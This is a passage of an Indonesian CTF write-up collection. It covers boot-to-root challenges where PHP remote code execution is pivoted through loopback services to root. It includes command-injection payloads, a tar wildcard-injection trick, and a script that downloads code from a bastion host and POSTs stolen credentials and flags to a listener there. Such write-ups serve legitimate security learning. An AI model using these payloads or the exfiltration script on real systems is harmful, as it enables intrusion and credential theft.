DOKUMEN WRITEUP KOMPETISI

NFX CTF 2026

Kumpulan Writeup Challenge dari Medium hingga Insane — Boot to Root, Web, Forensics, OSINT, Crypto, Reverse, Pwn, dan Misc

Disusun oleh: fakhriiazharsec

45 challenge · 8 kategori

Boot to Root (5) · Web (6) · Forensik (5) · OSINT (2) · Crypto (9) · Reverse (5) · Pwn (7) · Misc (6)

November 2026

Dokumen ini merangkum langkah reconnaissance, eksploitasi, eskalasi, dan pengambilan flag untuk setiap challenge, disertai akar masalah dan pelajaran yang dapat diambil.

Daftar Isi

Progress Bar (User) (Medium) 3
Progress Bar (Root) (Hard) 9
Record Keeper (Root) (Medium) 14
Record Keeper (User) (Medium) 19
Forgotten Commit (Root) (Medium) 26
NexaIdentity — Web Exploitation (Medium) 29
NexaPartner — Web Exploitation (Medium) 32
ChangeTrack — Web Exploitation (Medium) 35
PageStream — Web Exploitation (Hard) 39
NexusGate — Web Exploitation (Hard) 44
LinkVault — Web Exploitation (Hard) 50
Weak Handshake — Forensik (Medium) 55
Panggilan Terakhir (Medium) 60
Perimeter Breach — Digital Forensics (Log Analysis) (Medium) 64
Access Remains — Digital Forensics (Hard) 68
Insider — Digital Forensics (Browser Forensics) (Medium) 74
The Ghost Operator (Medium) 80
Fresh Arrival (Medium) 84
Cihuyyyyyyyyyyyyyyy LWE sikit ahhhh (Medium) 87
Static IV Offline — Cryptography (Medium) 91
Feistel Differential — Cryptography (Medium) 94
RSA Coppersmith — Cryptography (Medium) 97
Broken Signature Scheme — Cryptography (Hard) 100
Unbreakable Delay — Cryptography (Medium) 105
ECDSA Nonce Bias — Cryptography (Hard) 110
Black Box Protocol N4T0 — Cryptography (Medium) 114
FlagKeepers — Cryptography (Hard) 117
TEA Medium Reverse (Medium) 121
RC4 Medium Reverse (Medium) 123
Castaway — Reverse Engineering (Hard) 125
Hard VM — Reverse Engineering (Hard) 127
Hard Feistel — Reverse Engineering (Hard) 129
Gateway Under Pressure — (Medium) 131
NFXCTF Convention — Pwn (Medium) 133
Pipa Nu Kotor — Pwn (Medium) 136
Starved — Pwn (Medium) 138
Talatah Ti Peuntas — Pwn (Hard) 140
NarrowGate — Pwn (Insane) 145
The Forgotten State — Pwn (Hard) 151
Symhell — Misc & Logic (Medium) 155
Heker Tersenyum Art Evidence Secret — Misc & Logic (Medium) 159
Wujud Aseli Atmin — Misc & Logic (Medium) 163
The Alchemist's Sandbox — Misc & Logic (Medium) 166
Stay — Misc & Logic (Medium) 170
Frekuensi Sunyi – Misc (Medium) 172

BOOT TO ROOT

Progress Bar (User) (Medium)

- **Challenge:** Progress Bar (User) — track "PWN Hard"
- **Target:** 10.10.20.22 (via bastion s1.nfx.my.id:47462)
- **Kategori teknis:** Web / PHP native RCE + pivot internal service
- **Vulnerability utama: CVE-2026-109619** — PHP2Shell (PHP 8.4.26)
- **Entry point:** http://10.10.20.22/ (Apache + mod_php 8.4.26)
- **Hasil akhir:** RCE www-data → pivot loopback → automation worker root
- **User flag:** NFX{pr0gr3ss_b4r_qu3u3_st4g1ng_pwn3d_4s_www_d4t4}

Scope challenge ini hanya **user.txt**. root.txt tidak disentuh.

1. Ringkasan kill chain

```
80/tcp Apache + PHP 8.4.26 (mod_php, prefork)
  -> CVE-2026-109619 (session.upload_progress OOM -> stale global state -> UAF)
  -> fake HashTable, pDestructor = zif_system
  -> RCE uid=33(www-data)
  -> /out (queue upload) web-accessible: source disclosure + kanal output
  -> loopback: Watchtower :3000, Telephony UCP :8080, Automation :9000
  -> Watchtower /api/config leaks UCP creds
  -> UCP login + widget voicemail -> inbox leaks automation key
  -> POST :9000/jobs/export (shell=True, root) -> command injection
  -> cat /home/deploy/user.txt > /out/u
  -> flag
```

2. Recon

Target hanya membuka satu port:

```
nmap -Pn -sT -p- --min-rate 3000 -T4 10.10.20.22
# 80/tcp open  http

curl -sI http://10.10.20.22/
# Server: Apache
# X-Powered-By: PHP/8.4.26
```

Aplikasi: **ProgressBar — Internal Transfer Portal**, form upload ke upload.php. Halaman memuat field tersembunyi:

```
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="portal-upload">
```

Ada dua dokumen publik:

- /docs/architecture.txt
- /docs/quickstart.txt

Isi penting architecture:

```
Runtime       : Apache + PHP 8.4.26 (mod_php)
Doc root      : /var/www/html
Upload meta   : /var/www/uploads
Output        : /out (served read-only at /out)
Sessions      : files handler, disimpan di /tmp
Internal:
  - Watchtower ops console   127.0.0.1:3000  (trusts local network position)
  - Telephony UCP            127.0.0.1:8080  (dashboard widgets per session)
  - Automation worker        127.0.0.1:9000  (nightly export jobs as root)
```

Hint challenge memang mengarah ke sini: service loopback yang tidak diekspos, fitur session.upload_progress, dan "akses awal terbatas" untuk menemukan kredensial user lain.

3. Source disclosure via /out

upload.php memindahkan file ke /out/<nama>; direktori itu di-serve Apache. Selain file upload kita, /out ternyata berisi salinan datar webroot:

```
curl -s http://10.10.20.22/out/index.php
curl -s http://10.10.20.22/out/upload.php
curl -s http://10.10.20.22/out/architecture.txt
```

/out/upload.php membocorkan logika upload:

```
<?php
session_start();
// ...
$original = basename($_FILES['file']['name']);
$original = preg_replace('/[^A-Za-z0-9._-]/', '_', $original);
$original = ltrim($original, '.');
if ($original === '') { $original = 'upload'; }
$queueDir = '/out';
move_uploaded_file($_FILES['file']['tmp_name'], $queueDir . '/' . $original);
file_put_contents($metadataDir . '/' . $metadataName, json_encode([...]));
```

Tidak ada LFI/SSRF di source portal. Permukaan serangan sesungguhnya ada di **PHP 8.4.26** itu sendiri.

4. CVE-2026-109619 — PHP2Shell

PHP 8.4.26 adalah versi terakhir yang rentan; fix ada di **8.4.27** (8.2.35 / 8.3.36 / 8.5.12 untuk branch lain).

Akar masalah

1. Multipart session.upload_progress memanggil callback **sebelum RINIT**.
2. Request "producer" memicu **OOM** di php_session_initialize(); OOM memakai longjmp()/zend_bailout() sehingga state global PS(http_session_vars) / PS(id) tertinggal menunjuk ke request memory yang kemudian dibebaskan.
3. Apache **prefork** mem-fork worker baru yang mewarisi mapping libphp dan layout heap yang sama.
4. Request "consumer" menempatkan buffer multipart attacker pada alamat yang sama, lalu php_session_track_init() memanggil zval_ptr_dtor(PS(http_session_vars)).
5. Attacker membuat **HashTable palsu** dengan pDestructor = zif_system, sehingga destruksi bucket memanggil system(cmd).

Dampak: **unauthenticated RCE**; tidak butuh session_start() di halaman target, tidak butuh fitur upload, dan halaman bisa hanya <?php echo "OK"; ?>. Dampak maksimum pada **mod_php + prefork** karena worker dipakai lintas request.

Deteksi target

Toolkit: aarsaputra/php2shell.

```
python3 php2shell.py detect -u http://10.10.20.22/

vulnerable PHP 8.4.26 < fix-floor 8.4.27
+ upload_progress=On (PHPSESSID dipancarkan setelah probe 1 KB)
score 75/90   ready YES   support RCE (8.4.26 amd64)

python3 php2shell.py preflight -u http://10.10.20.22/
# verdict vulnerable, dukungan RCE, siap exploit: YA
```

5. RCE sebagai www-data

Exploit memakai profil **bookworm** (offset resmi image php:8.4.26-apache):

```
python3 php2shell.py exploit \
  -u http://10.10.20.22/index.php \
  --force --yes --exploit-profile bookworm \
  -c 'id>/out/p1'
```

Output singkat:

```
[*] memory_limit 8 MiB; field 'big' disetel 10 MB
[*] rotasi worker lewat HTTP
stage 1: heap leak -> chunk base = 0x7f6635e00000
stage 2: libphp leak -> libphp base = 0x7f6637a8c000
stage 3: HTDATA=0x7f6635e690d8 ZIF=0x7f6637ef1370
stage 3 percobaan 1 (blind)
```

Karena /out web-accessible, hasil id bisa dibaca langsung:

```
curl -s http://10.10.20.22/out/p1
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

Catatan: stage 3 bersifat probabilistik; kalau meleset, ulangi (worker baru / ASLR baru). Toolkit menandai live target sebagai "BLIND" karena tidak membaca /out dari sisi host — di sini kita membacanya lewat HTTP.

6. Dari satu perintah ke shell

Command carrier hanya muat 14 byte (zend_string 167 byte). Solusi: upload script arbitrer ke /out/s lewat portal, lalu jalankan dengan perintah 9 byte:

```
sh</out/s
```

Script berjalan sebagai www-data; output ditulis ke /out/<file> dan dibaca lewat HTTP. Untuk ini validator toolkit dipatch lokal (authorized CTF):

```
from lib import exploit_runner
exploit_runner.validate_command = lambda cmd: ""
res = exploit_runner.run(
    url="http://10.10.20.22/index.php",
    cmd="sh</out/s",
    profile="bookworm",
    fetch="http://10.10.20.22/out/u",
)
```

Enumerasi awal

```
id
cat /etc/passwd
cat /proc/net/tcp
ls -la /var/www /var/www/html /var/www/uploads /opt
```

Temuan:

- /etc/passwd dunia-readable memuat hash password **deploy** (6N.zjjNqAzcNj/G97$...), tetapi file /home/deploy/user.txt sendiri 600 deploy:deploy — tidak bisa dibaca www-data.
- Loopback listener:
    - 127.0.0.1:3000 → uid 999 (svc-watch, Watchtower)
    - 127.0.0.1:8080 → uid 998 (svc-telephony, UCP)
    - 127.0.0.1:9000 → uid 0 (**root**, automation)
- /opt/{watchtower,telephony,automation} world-readable → source code service internal bisa dibaca.

7. Pivot ke internal plane

7.1 Watchtower membocorkan kredensial UCP

Watchtower "authenticated by network position" — dari 127.0.0.1 langsung terbuka:

```
curl -s http://127.0.0.1:3000/api/config

{
  "automation_endpoint": "http://127.0.0.1:9000",
  "note": "internal network only -- do not expose",
  "ops_note": "UCP still on default template creds (ucp-template) -- ROTATE.",
  "telephony_pass": "Pr0gr3ssB4r_2026",
  "telephony_portal": "http://127.0.0.1:8080/ucp",
  "telephony_user": "ucp-template"
}
```

7.2 UCP membocorkan automation key

Login UCP, tambahkan widget voicemail, lalu buka inbox:

```
curl -c /tmp/cj -d 'username=ucp-template' \
    --data-urlencode 'password=Pr0gr3ssB4r_2026' \
    http://127.0.0.1:8080/ucp/login
curl -b /tmp/cj -d 'widget=voicemail' http://127.0.0.1:8080/ucp/widgets
curl -b /tmp/cj http://127.0.0.1:8080/ucp/inbox
```

Inbox berisi "CID Automation Key":

```
PB_AUTO_7b3f9a1c4e0d2f6a
```

7.3 Automation worker root — command injection

Source /opt/automation/app.py:

```
command = f"tar czf {EXPORT_DIR}/{report}.tgz {DATA_DIR} 2>&1"
proc = subprocess.run(command, shell=True, capture_output=True, text=True, timeout=20)
```

report dari JSON attacker masuk ke shell=True dan worker berjalan sebagai **root**. Kirim:

```
curl -H "Authorization: Bearer PB_AUTO_7b3f9a1c4e0d2f6a" \
    -H 'Content-Type: application/json' \
    --data '{"report":"x;cat /home/deploy/user.txt > /out/u;"}' \
    http://127.0.0.1:9000/jobs/export
```

Command yang dieksekusi:

```
tar czf /var/automation/exports/x;cat /home/deploy/user.txt > /out/u;.tgz /var/automation/data 2>&1
```

cat berjalan sebagai root → menulis user.txt ke /out/u (web-accessible).

8. Flag

```
curl -s http://10.10.20.22/out/u

NFX{pr0gr3ss_b4r_qu3u3_st4g1ng_pwn3d_4s_www_d4t4}
```

User flag:

```
NFX{pr0gr3ss_b4r_qu3u3_st4g1ng_pwn3d_4s_www_d4t4}
```

9. Root Cause

1. **PHP 8.4.26 rentan CVE-2026-109619**: session.upload_progress multipart callback berjalan sebelum RINIT; OOM meninggalkan global state menunjuk request memory yang sudah dibebaskan; worker prefork berikutnya memakai state stale itu → UAF → fake pDestructor → system().
2. **Service internal hanya mengandalkan "network position"** (loopback) tanpa autentikasi nyata; Watchtower /api/config membocorkan kredensial UCP.
3. **Default credentials** UCP (ucp-template) masih aktif.
4. **Automation key bocor di inbox UCP**, lalu dipakai untuk endpoint root.
5. **Command injection** di automation worker (shell=True dengan report attacker) yang berjalan sebagai **root**.
6. Source service internal world-readable (/opt/*) dan hash password deploy diletakkan di /etc/passwd (bukan /etc/shadow).

10. Referensi

- NVD — CVE-2026-109619: https://nvd.nist.gov/vuln/detail/CVE-2026-109619
- NVD — CVE-2026-109618: https://nvd.nist.gov/vuln/detail/CVE-2026-109618
- GHSA — https://github.com/php/php-src/security/advisories/GHSA-6wmf-4rv5-p3rp
- GHSA — https://github.com/php/php-src/security/advisories/GHSA-w8hw-w9fx-j79w
- PHP 8.4.27 changelog: https://www.php.net/ChangeLog-8.php
- PoC/toolkit: https://github.com/aarsaputra/php2shell
- Artikel: https://arcticwolf.com/resources/blog/php2shell-critical-php-vulnerabilities-enable-unauthenticated-remote-code-execution/

Progress Bar (Root) (Hard)

- **Challenge:** Progress Bar (Root)
- **Level:** Hard
- **Target:** 10.10.20.22 (via bastion s1.nfx.my.id:47462)
- **Kategori teknis:** Boot to Rot
- **Prasyarat:** foothold user www-data dari **Progress Bar (User)** (writeup user)
- **Root flag:** NFX{fr0m_w4tcht0w3r_c0nf1g_t0_r00t_3xp0rt_j0b}

  root.txt hanya bisa dibaca root (-r-------- root root), jadi jalur ini benar-benar eskalasi ke root, bukan sekadar membaca file world-readable.

1. Ringkasan jalur root

```
www-data (PHP2Shell CVE-2026-109619)
  -> enumerasi /proc/net/tcp: service loopback
      127.0.0.1:3000  svc-watch      (Watchtower)
      127.0.0.1:8080  svc-telephony  (UCP)
      127.0.0.1:9000  root           (Automation worker)
  -> /opt/* world-readable: source ketiga service
  -> Watchtower /api/config bocorkan kredensial UCP
  -> UCP login + widget voicemail -> inbox bocorkan automation key
  -> POST 127.0.0.1:9000/jobs/export (shell=True, root)
  -> command injection pada field report
  -> id = uid=0(root); cat /root/root.txt > /out/r
  -> root flag
```

Hint challenge ("periksa service yang hanya dapat diakses melalui localhost") memang menunjuk ke plane internal 3000/8080/9000 yang tidak diekspos ke jaringan lab.

2. Recap singkat foothold user

Dari stage User kita sudah memiliki RCE sebagai www-data lewat **CVE-2026-109619 (PHP2Shell)** pada Apache + mod_php 8.4.26. Karena command carrier hanya 14 byte, kita meng-upload script ke /out/s lewat portal upload (folder /out web-accessible) dan mengeksekusinya dengan:

```
sh</out/s
```

Script berjalan sebagai www-data dan menulis hasil ke /out/<file> yang bisa dibaca lewat HTTP. Detail lengkap ada di writeup user.

3. Enumerasi sebagai www-data

Script enumerasi (dijalankan via sh</out/s) mengumpulkan:

```
id
cat /etc/passwd
cat /proc/net/tcp
ls -la /var/www /var/www/html /var/www/uploads /opt
```

Temuan penting:

3.1 User lain

```
deploy:x:1000:1000::/home/deploy:/bin/bash
svc-watch:x:999:999::/home/svc-watch:/usr/sbin/nologin
svc-telephony:x:998:998::/home/svc-telephony:/usr/sbin/nologin
```

/etc/passwd dunia-readable memuat hash SHA-512 crypt milik deploy:

```
deploy:$6$N.zjjNqAzcNj/G97$nQOAgykzExzK4TIdrIB020PbtlnZTm2XW9e5X3gUsQ1Rq0ONv8A
m4W1JOmxWIJzJWTuBEb0xPS2vdrolUZqU/:1000:1000::/home/deploy:/bin/bash
```

Namun /home/deploy/user.txt sendiri 600 deploy:deploy, jadi hash ini bukan jalan tercepat — dan bukan jalur yang dipakai.

3.2 Listener loopback

Dari /proc/net/tcp (little-endian):

Address	**Port**	**UID**	**Service**
0100007F:0BB8	3000	999 (svc-watch)	Watchtower
0100007F:1F90	8080	998 (svc-telephony)	Telephony UCP
0100007F:2328	9000	**0 (root)**	Automation worker
00000000:0050	80	0	Apache

Ketiganya hanya bound ke 127.0.0.1 — tidak terlihat dari luar, tetapi bisa diakses dari RCE www-data.

3.3 Source service world-readable

```
/opt/watchtower/app.py
/opt/telephony/app.py
/opt/automation/app.py
```

Ketiganya root:root 755, sehingga source internal bisa dibaca langsung. Ini membocorkan path config, mekanisme auth, dan primitive tiap service.

4. Watchtower :3000 — kredensial UCP

/opt/watchtower/app.py membaca /home/svc-watch/config.json dan mengeksposnya di /api/config; komentar di source menyebut console "authenticated by network position" — request dari 127.0.0.1 langsung dipercaya.

```
curl -s http://127.0.0.1:3000/api/config

{
  "automation_endpoint": "http://127.0.0.1:9000",
  "note": "internal network only -- do not expose",
  "ops_note": "UCP still on default template creds (ucp-template) -- ROTATE.",
  "telephony_pass": "Pr0gr3ssB4r_2026",
  "telephony_portal": "http://127.0.0.1:8080/ucp",
  "telephony_user": "ucp-template"
}
```

Kredensial UCP didapat:

```
ucp-template : Pr0gr3ssB4r_2026
```

5. Telephony UCP :8080 — automation key

/opt/telephony/app.py menyimpan session di memori dan membaca /home/svc-telephony/automation.key. Endpoint penting:

- POST /ucp/login — login dengan kredensial dari Watchtower.
- POST /ucp/widgets — tambah widget voicemail ke session.
- GET /ucp/inbox — hanya jika widget voicemail ada; halaman ini memuat **automation key** ("CID Automation Key").

Urutan request dari www-data:

```
curl -c /tmp/cj \
    -d 'username=ucp-template' \
    --data-urlencode 'password=Pr0gr3ssB4r_2026' \
    http://127.0.0.1:8080/ucp/login

curl -b /tmp/cj -d 'widget=voicemail' \
    http://127.0.0.1:8080/ucp/widgets

curl -b /tmp/cj http://127.0.0.1:8080/ucp/inbox
```

Inbox membocorkan:

```
PB_AUTO_7b3f9a1c4e0d2f6a
```

6. Automation worker :9000 — command injection root

GET /health pada worker menyatakan dirinya berjalan sebagai root:

```
{"endpoints": {"POST /jobs/export": {"auth": "Authorization: Bearer <automation key>",
  "body": {"report": "<report name>"}}},
 "runs_as": "root", "service": "automation", "status": "ok"}
```

Source /opt/automation/app.py:

```
command = f"tar czf {EXPORT_DIR}/{report}.tgz {DATA_DIR} 2>&1"
proc = subprocess.run(
    command,
    shell=True,
    capture_output=True,
    text=True,
    timeout=20,
)
```

report berasal dari JSON attacker dan masuk ke shell=True **tanpa sanitasi**; worker berjalan sebagai **root**. Ini command injection langsung.

Payload yang dipakai:

```
curl -s -H "Authorization: Bearer PB_AUTO_7b3f9a1c4e0d2f6a" \
     -H 'Content-Type: application/json' \
     --data '{"report":"x;id>/out/rid;ls -la /root>/out/rls;cat /root/root.txt>/out/r;cat
/root/flag.txt>/out/r2;"}' \
     http://127.0.0.1:9000/jobs/export
```

Command yang dieksekusi worker:

```
tar czf /var/automation/exports/x;id>/out/rid;ls -la /root>/out/rls;cat /root/root.txt>/out/r;cat
/root/flag.txt>/out/r2;.tgz /var/automation/data 2>&1
```

Bagian tar boleh gagal; shell tetap melanjutkan perintah setelah ;. Semua perintah berjalan sebagai **root**, dan hasilnya ditulis ke /out yang web-accessible.

Verifikasi root

```
curl -s http://10.10.20.22/out/rid
uid=0(root) gid=0(root) groups=0(root)

curl -s http://10.10.20.22/out/rls
total 12
drwx------ 1 root root  22 Nov  4 16:44 .
drwxr-xr-x 1 root root  61 Nov  8 14:53 ..
-rw-r--r-- 1 root root 607 Jul 17 17:05 .bashrc
-rw-r--r-- 1 root root 132 Jul 17 17:05 .profile
-r-------- 1 root root  47 Nov  1 17:40 root.txt
```

root.txt hanya bisa dibaca root — sesuai hasil cat di atas.

7. Root flag

```
curl -s http://10.10.20.22/out/r

NFX{fr0m_w4tcht0w3r_c0nf1g_t0_r00t_3xp0rt_j0b}
```

Root flag:

```
NFX{fr0m_w4tcht0w3r_c0nf1g_t0_r00t_3xp0rt_j0b}
```

8. Root Cause

1. **Service internal hanya mengandalkan "network position"** (loopback) sebagai autentikasi. Siapa pun yang sudah www-data bisa memanggilnya.
2. **Watchtower /api/config membocorkan kredensial UCP**, termasuk catatan bahwa kredensial template belum dirotasi.
3. **Default credentials UCP** (ucp-template / Pr0gr3ssB4r_2026) masih aktif.
4. **Automation key bocor di inbox UCP**; key itu memberi akses ke worker root.
5. **Command injection** di automation worker: subprocess.run(..., shell=True) dengan report dari attacker, berjalan sebagai **root**.
6. **Source service world-readable** (/opt/*) mempercepat enumerasi dan membocorkan path config/key.
7. Hash password deploy diletakkan di /etc/passwd (bukan /etc/shadow).

9. Referensi

- Writeup user: ../Web-Exploitation/progress-bar(user).md
- NVD — CVE-2026-109619: https://nvd.nist.gov/vuln/detail/CVE-2026-109619
- GHSA — https://github.com/php/php-src/security/advisories/GHSA-6wmf-4rv5-p3rp
- PHP 8.4.27 changelog: https://www.php.net/ChangeLog-8.php
- Toolkit PHP2Shell: https://github.com/aarsaputra/php2shell

Record Keeper (Root) (Medium)

- **Challenge:** Boot-to-Root / Record Keeper (Root)
- **Level:** Medium
- **Event:** NFX CTF
- **Category:** Boot to Root — Privilege Escalation
- **Target:** 10.10.20.23 via bastion s1.nfx.my.id:47462
- **Prasyarat:** akses user node (RCE CVE-2026-111497 di service 3000)
- **Root flag:** NFX{sp00l3r_4rch1v3_r00t_pwn3d}

Foothold user dibahas terpisah di NFX-B2R-23.md.

1. Ringkasan jalur

```
node (RCE via service 3000)
  -> sudo -u ops /usr/local/bin/record-archive   (NOPASSWD)
  -> tar wildcard injection (--checkpoint / --checkpoint-action)
  -> code execution sebagai ops
  -> tulis /srv/record-spool/rootpwn.job  (action=archive target=/root)
  -> worker root (spooler.js) membuat /var/backups/records/rootpwn.tar.gz
  -> ops ekstrak arsip -> root.txt
```

Hint challenge ("periksa permission, konfigurasi sudo, service internal, dan file yang dapat diakses user lain") memang menunjuk ke rantai ini: sudo helper, spool worker root, dan direktori group-writable.

2. Karakter eksekusi sebagai node

RCE dari CVE-2026-111497 mengganti proses server.js (PID 1 container) dengan bash -c "<command>". Artinya:

- Command harus menyelesaikan seluruh rantai dalam **satu container lifetime**.
- Setelah bash exit, container restart dan filesystem kembali bersih (/tmp, file buatan kita, dan job spool hilang).
- Tidak ada shell persisten: sshd_config target berisi AllowUsers ops, jadi SSH sebagai node ditolak. Semua langkah root dilakukan one-shot.

3. Enumerasi sebagai node

```
id
sudo -n -l
cat /etc/passwd
ls -la /home /home/node /home/ops /etc/nexus
ps auxww
```

Temuan kunci:

```
uid=1000(node) gid=1000(node) groups=1000(node)

User node may run the following commands on srv:
    (ops) NOPASSWD: /usr/local/bin/record-archive

/etc/nexus:
-rw-r----- 1 root ops 18 ops.creds
-rw-r----- 1 root ops 19 spool.token

/srv/record-spool      drwxrwx--- root ops
/var/backups/records   drwxrwx--- root ops
/var/log/nexus         drwxrwx--- root ops
```

Konfigurasi SSH target:

```
PermitRootLogin no
PasswordAuthentication yes
AllowUsers ops
```

Proses:

```
root  /usr/local/sbin/challenge-entrypoint
root  node /app/src/spooler.js     (worker spool, root)
node  node /app/src/web.js         (console 8080)
node  node /app/src/server.js      (service 3000, PID 1)
```

Helper sudo

/usr/local/bin/record-archive (root-owned, world-readable):

```
#!/bin/sh
set -eu

target="${1:-/var/lib/record-transform}"
out="/var/backups/records/manual-$(date +%s%N).tar.gz"

mkdir -p /var/backups/records

cd "$target"
tar -czf "$out" *
printf '%s\n' "$out"
```

Helper ini dijalankan sebagai ops dan melakukan cd "$target"; tar -czf ... *. target bisa diarahkan ke direktori yang ditulis node (/home/node), dan * diekspansi oleh shell → **tar wildcard injection**.

Spool worker root

/app/src/spooler.js:

- Membaca token dari /etc/nexus/spool.token (root).
- Memindai /srv/record-spool tiap 2 detik.
- Job valid: id (^[A-Za-z0-9_-]{1,32}$), action=archive, target absolute.
- Menjalankan sebagai root:

```
execFile('/usr/bin/tar',
  ['-czf', `/var/backups/records/${id}.tar.gz`, '-C', target, '.'])
```

- Hasil di-chmod 0644, direktori output root:ops 0770 (bisa dibaca ops).

4. node → ops: sudo helper + tar wildcard injection

Karena node bisa menulis /home/node, kita buat file dengan nama opsi tar:

- --checkpoint=1
- --checkpoint-action=exec=sh x

GNU tar memproses keduanya sebagai opsi dan mengeksekusi sh x sebagai ops. Ditambah file z berukuran 20 KB agar checkpoint benar-benar terpicu (checkpoint dihitung per record arsip ~10 KB).

Script x (dijalankan sebagai ops oleh sh, jadi POSIX sh — **bukan** bash):

```
#!/bin/sh
out=/tmp/nx.out
{
  id
  cat /etc/nexus/ops.creds
  cat /etc/nexus/spool.token
  printf 'id=rootpwn\naction=archive\ntarget=/root\n' > /srv/record-spool/rootpwn.job
  sleep 6
  ls -la /var/backups/records
  tar -tzf /var/backups/records/rootpwn.tar.gz
  mkdir -p /tmp/rx
  tar -xzf /var/backups/records/rootpwn.tar.gz -C /tmp/rx
  cat /tmp/rx/root.txt /tmp/rx/root/root.txt
} > $out 2>&1
curl -s -m 2 -X POST --data-binary @$out http://10.10.20.10:4444/
```

Catatan: /dev/tcp hanya ada di bash, sedangkan x dijalankan oleh /bin/sh (dash) → exfil memakai curl ke listener di bastion.

Satu command RCE sebagai node (163 byte, dijalankan dalam satu container lifetime):

```
cd /home/node
curl -s 10.10.20.10:8000/x -o x
yes A | head -c20000 >z
>--checkpoint=1
```

```
>'--checkpoint-action=exec=sh x'
sudo -n -u ops /usr/local/bin/record-archive .
```

Hasil di callback bastion (HTTP POST body):

```
== id ==
uid=1001(ops) gid=1001(ops) groups=1001(ops)
== creds ==
ops:0ps#Sp00l2026
SPOOL-7f3c9a1e4b2d
== job ==
== backups ==
-rw-r--r-- 1 ops  ops    0 ... manual-1794146788412282438.tar.gz
-rw-r--r-- 1 root root  14 ... rootpwn.status
-rw-r--r-- 1 root root 685 ... rootpwn.tar.gz
== list ==
./
./.bashrc
./.profile
./root.txt
== extract ==
== root.txt ==
NFX{sp00l3r_4rch1v3_r00t_pwn3d}
```

5. ops → root: spool job target=/root

Setelah menjadi ops:

1. /srv/record-spool writable oleh group ops (0770 root:ops).
2. Tulis job:

```
id=rootpwn
action=archive
target=/root
```

3. Worker spooler.js (root) membuat /var/backups/records/rootpwn.tar.gz berisi seluruh isi /root.
4. Output chmod 0644 dan direktori root:ops 0770; ops dapat membacanya.
5. ops ekstrak arsip → root.txt.

6. Root flag

```
NFX{sp00l3r_4rch1v3_r00t_pwn3d}
```

7. Root Cause

1. **Sudo NOPASSWD ke helper generik** — node boleh menjalankan /usr/local/bin/record-archive sebagai ops; helper memakai glob * pada direktori yang dikendalikan attacker → tar wildcard injection.
2. **Spool worker root mengarsipkan path arbitrer** — job dari group ops bisa menunjuk target=/root; hasil arsip ditulis ke direktori yang bisa dibaca ops.
3. **Kredensial maintenance plaintext** — ops.creds dan spool.token di /etc/nexus dapat dibaca group ops.
4. **Boundary user lemah** — akses node ke helper ops memberi eskalasi tanpa perlu password.

8. Referensi

- GNU tar wildcard injection: --checkpoint=1 + --checkpoint-action=exec=<cmd> dari filename hasil glob.
- Wrapper tar: gunakan -- sebelum daftar file, mis. tar -czf out -- *.
- Prinsip least privilege untuk sudo dan worker root.

Record Keeper (User) (Medium)

- **Challenge:** Boot-to-Root / Record Keeper (User) (nfx-b2r-23)
- **Event:** NFX CTF
- **Category:** Boot to Root (User stage)
- **Target:** 10.10.20.23 via bastion s1.nfx.my.id:47462
- **Entry point:** 3000/tcp — Record Transform (framed TCP + Brotli)
- **Vulnerability:** CVE-2026-111497 — Brotli decoder out-of-bounds write ("Node2Shell" / "Broccoli2Shell")
- **Impact:** Remote code execution sebagai uid=1000(node)
- **User flag:** NFX{br0tl1_0ob_wr1t3_w0rk3r_r0p_rc3}

1. Akses bastion

Login awal ke bastion memakai user lab; bastion otomatis membuat akun sementara dan menampilkan kredensial:

```
ssh -o StrictHostKeyChecking=no lab@s1.nfx.my.id -p 47462

Account created successfully
  Username: lab579b
  Password: oHk2vTars0Qh
Login command:
  ssh lab579b@<HOST> -p <PORT>
Target range:
  10.10.20.0/24
```

Bastion berada di 10.10.20.10/24. Semua tool dijalankan dari bastion agar bisa menjangkau target.

```
ssh lab579b@s1.nfx.my.id -p 47462
```

2. Enumerasi target

```
nmap -Pn -sT -p 22,3000,8080,9090 --version-light 10.10.20.23

22/tcp    open  ssh
3000/tcp  open  ppp
8080/tcp  open  http-proxy
9090/tcp  open  zeus-admin
```

Port yang mencurigakan bukan web: **3000/tcp**. Console di 8080 memberi konteks service:

```
curl -s http://10.10.20.23:8080/api/services
```

```
{
  "ok": true,
  "services": {
    "ingest":   { "name": "Record Transform", "port": 3000, "ok": true, "detail": "PONG" },
    "ssh":      { "name": "Ops SSH",          "port": 22,   "ok": true },
    "spooler":  { "name": "Spool API",        "port": 9090, "ok": true },
    "console":  { "name": "Console",          "port": 8080, "ok": true }
  }
}
```

Halaman console (/) juga membocorkan detail penting:

- **Runtime:** Node.js **24.9.0**
- **Decoder:** Brotli / worker thread
- **Record size: 0x330 bytes** (fixed-size normalized output buffer)
- **1 stream / connection**, "First frame primes the decoder"
- Spool: /srv/record-spool/*.job → worker root menulis /var/backups/records/<id>.tar.gz
- Maintenance credentials: /etc/nexus

Hint panitia mengarah ke sini: "jangan hanya lihat port web", "service memakai kompresi", "masalah pada implementasi native → kerusakan memori → eksekusi kode".

3. Analisis protokol 3000/tcp

Format frame:

```
frame = [ length : u32be ][ body : bytes ]
```

Hasil probing:

Input	Respons
frame kosong (00 00 00 00)	PONG\n
body bukan Brotli valid (ABCDEFG)	ERR ERR__ERROR_FORMAT_PADDING_1\n
body Brotli valid, satu frame	ACK\n (frame pertama hanya "priming"; output-nya dibuang)
body Brotli valid dipecah 2 frame	frame 1 ACK\n, frame 2 keluar record 816 byte
stream dengan output > 816 byte	respons = ceil(n/816) * 816 byte (banyak record)

Contoh output satu record (payload HELLO WORLD):

```
HELLO WORLD\x00\x00... <pointer heap 0x7f...> ...
```

Artefak penting:

1. **Uninitialized memory disclosure** — record di-pad dengan Buffer.allocUnsafe*, sisa 0x330 byte berisi heap Node (pointer, string UTF-16). Ini memberi leak heap/ASLR.
2. **Error code khas Node** — ERR__ERROR_FORMAT_* persis sama dengan e.code dari zlib.brotliDecompress*() di Node:

```
// Node lokal, sebagai pembanding
zlib.brotliDecompressSync(Buffer.alloc(16))
// Error: Decompression failed, e.code = 'ERR__ERROR_FORMAT_CL_SPACE'
```

3. **Perilaku identik dengan lab publik** worker-record-transform (Node v24.9.0): zlib.createBrotliDecompress({ chunkSize: 0x330 }), Buffer.allocUnsafeSlow(0x330), Intl.DateTimeFormat, UV_THREADPOOL_SIZE=1, satu Worker per koneksi.

Kesimpulan: service 3000 adalah Node.js v24.9.0 yang men-decompress Brotli dari attacker.

4. Identifikasi vulnerability

Node.js v24.9.0 membundel Brotli C decoder yang rentan **CVE-2026-111497**.

